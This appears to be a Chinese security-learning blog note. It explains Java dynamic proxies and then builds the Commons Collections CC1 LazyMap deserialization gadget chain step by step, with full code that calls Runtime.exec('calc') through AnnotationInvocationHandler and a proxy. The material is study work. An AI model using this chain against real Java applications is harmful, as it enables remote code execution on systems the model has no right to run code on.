前置知识
动态代理,理论的知识就不解释了,网上有很多,直接上代码
IUser.java
package com.superman;
public interface IUser {
void show();
}
UserImpl.java
package com.superman;
public class UserImpl implements IUser {
public UserImpl() {
}
public void show() {
System.out.println("展示");
}
}
重点是下面两段代码,Proxy.newProxyInstance(类加载器,代理接口,handler用于处理事件),然后新建UserInvocationHandler,重写Invoke方法,当使用动态代理的时候会触发Invoke方法,这里是我们学习安全需要知道的,也是与前一条CC1链的区别
ProxyTest.java
package com.superman;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args) {
UserImpl user = new UserImpl();
InvocationHandler userInvocationHandler = new UserInvocationHandler(user);
IUser o = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
o.show();
}
}
UserInvocationHandler.java
package com.superman;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler() {
}
public UserInvocationHandler(IUser user) {
this.user = user;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(user,args);
return null;
}
}
学习分析
与之前学习的CC1链不同在于实现InvokerTransformer的transform方法变为LazyMap,所以实现transform的方法不用变
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
具体的LazyMap代码
factory值来源于LazyMap有参构造,但为protected,需要找其实现方法
发现其实现方法
实现其方法
package com.superman;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1Test2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
实现decorate方法并将factory的值赋值为chainedTransformer
Map lazymap = LazyMap.decorate(map, chainedTransformer);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
控制了factory的值后,需要查找哪些方法调用了get方法,这里有很多,估计几千个有的,我们就不一一试了,直接用作者提供的链里面的类,AnnotationInvocationHandler,这个类需要查找我们能控制的get方法。找到在Invoke方法里有调用
其memberValues值可控,来自于构造方法
对代码进行扩充,之前提到的动态代理在这里就用上了,当使用动态代理代理handler后,会自动触发调用Invoke方法
package com.superman;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1Test2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
实现decorate方法并将factory的值赋值为chainedTransformer
Map lazymap = LazyMap.decorate(map, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
接下来需要寻找包住mapproxy的Map类,并能触发get方法,需要不满足几个if条件,首先不是equals方法,其次不能有参数
这里我们需要找一个实现Map接口的类,并且该类实现的方法不是equals以及参数为空,在CC1链中看到AnnotationInvocationHandler的readObject方法,其中memberValues.entrySet(),刚好是我们需要的,反序列化后触发entrySet方法,进入到get方法,而memberValues是lazymap
package com.superman;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1Test2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
Runtime runtime = Runtime.getRuntime();
//// Class<? extends Runtime> aClass = runtime.getClass();
//// Method exec = aClass.getMethod("exec", String.class);
//// exec.invoke(runtime,"calc");
//
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = declaredConstructor.newInstance(Override.class, mapproxy);
//serialize(o);
unserialize("C://ser.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
总结
分析出来了但是写不清楚,姑且做个笔记留着以后再完善。